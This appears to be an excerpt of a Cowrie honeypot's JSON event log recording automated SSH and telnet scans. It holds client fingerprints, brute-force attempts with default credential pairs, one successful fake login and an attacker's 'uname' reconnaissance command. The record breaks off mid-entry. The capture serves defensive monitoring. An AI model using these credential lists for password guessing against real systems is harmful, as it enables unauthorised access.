{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:23.507457Z","src_ip":"192.109.200.78","session":"a350ff1a790e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47134,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e782989c863","protocol":"ssh","message":"New connection: 176.65.139.95:47134 (159.203.135.109:22) [session: 6e782989c863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:25.682968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:25.689253Z","src_ip":"176.65.139.95","session":"6e782989c863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:25.779689Z","src_ip":"176.65.139.95","session":"6e782989c863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49236,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f01312c9a0d","protocol":"ssh","message":"New connection: 192.109.200.78:49236 (159.203.135.109:22) [session: 5f01312c9a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.137974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.143111Z","src_ip":"192.109.200.78","session":"5f01312c9a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.197119Z","src_ip":"176.65.139.95","session":"6e782989c863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.245823Z","src_ip":"192.109.200.78","session":"5f01312c9a0d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.498185Z","src_ip":"192.109.200.78","session":"5f01312c9a0d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.718760Z","src_ip":"192.109.200.78","session":"5f01312c9a0d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.722944Z","src_ip":"192.109.200.78","session":"5f01312c9a0d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.935716Z","src_ip":"192.109.200.78","session":"5f01312c9a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:26.941259Z","src_ip":"192.109.200.78","session":"5f01312c9a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:27.330665Z","src_ip":"176.65.139.95","session":"6e782989c863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00313472747803,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:28.636069Z","src_ip":"119.94.70.246","session":"76a536886a7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.70.246","src_port":50974,"dst_ip":"159.203.135.109","dst_port":23,"session":"38daaef468ac","protocol":"telnet","message":"New connection: 119.94.70.246:50974 (159.203.135.109:23) [session: 38daaef468ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:29.070259Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49172,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1eebd1a0beb","protocol":"ssh","message":"New connection: 192.109.200.78:49172 (159.203.135.109:22) [session: f1eebd1a0beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:30.424257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:30.431258Z","src_ip":"192.109.200.78","session":"f1eebd1a0beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:30.521615Z","src_ip":"192.109.200.78","session":"f1eebd1a0beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:30.780776Z","src_ip":"192.109.200.78","session":"f1eebd1a0beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43762,"dst_ip":"159.203.135.109","dst_port":22,"session":"526112bc2d6e","protocol":"ssh","message":"New connection: 176.65.139.95:43762 (159.203.135.109:22) [session: 526112bc2d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:31.734339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:31.739352Z","src_ip":"176.65.139.95","session":"526112bc2d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:31.822138Z","src_ip":"176.65.139.95","session":"526112bc2d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:31.874982Z","src_ip":"192.109.200.78","session":"f1eebd1a0beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:32.084530Z","src_ip":"176.65.139.95","session":"526112bc2d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:33.210416Z","src_ip":"176.65.139.95","session":"526112bc2d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49174,"dst_ip":"159.203.135.109","dst_port":22,"session":"3797ea00acd9","protocol":"ssh","message":"New connection: 192.109.200.78:49174 (159.203.135.109:22) [session: 3797ea00acd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:34.543067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:34.548695Z","src_ip":"192.109.200.78","session":"3797ea00acd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:34.634658Z","src_ip":"192.109.200.78","session":"3797ea00acd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:34.892218Z","src_ip":"192.109.200.78","session":"3797ea00acd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:35.981302Z","src_ip":"192.109.200.78","session":"3797ea00acd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241994857788,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:37.379621Z","src_ip":"212.252.78.49","session":"2626afea798c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43766,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ea6683649f5","protocol":"ssh","message":"New connection: 176.65.139.95:43766 (159.203.135.109:22) [session: 5ea6683649f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:37.752632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:37.760478Z","src_ip":"176.65.139.95","session":"5ea6683649f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:37.843817Z","src_ip":"176.65.139.95","session":"5ea6683649f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:38.493593Z","src_ip":"176.65.139.95","session":"5ea6683649f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48040,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7feecbf7eb2","protocol":"ssh","message":"New connection: 192.109.200.78:48040 (159.203.135.109:22) [session: b7feecbf7eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:38.824777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:38.829664Z","src_ip":"192.109.200.78","session":"b7feecbf7eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:38.915725Z","src_ip":"192.109.200.78","session":"b7feecbf7eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:39.166320Z","src_ip":"192.109.200.78","session":"b7feecbf7eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:39.578459Z","src_ip":"176.65.139.95","session":"5ea6683649f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158882141113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:39.813158Z","src_ip":"212.252.78.49","session":"bb10d5afdb69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:40.249993Z","src_ip":"192.109.200.78","session":"b7feecbf7eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27334,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f9978f51333","protocol":"ssh","message":"New connection: 194.59.206.2:27334 (159.203.135.109:22) [session: 3f9978f51333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:40.380782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:40.514259Z","src_ip":"194.59.206.2","session":"3f9978f51333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-c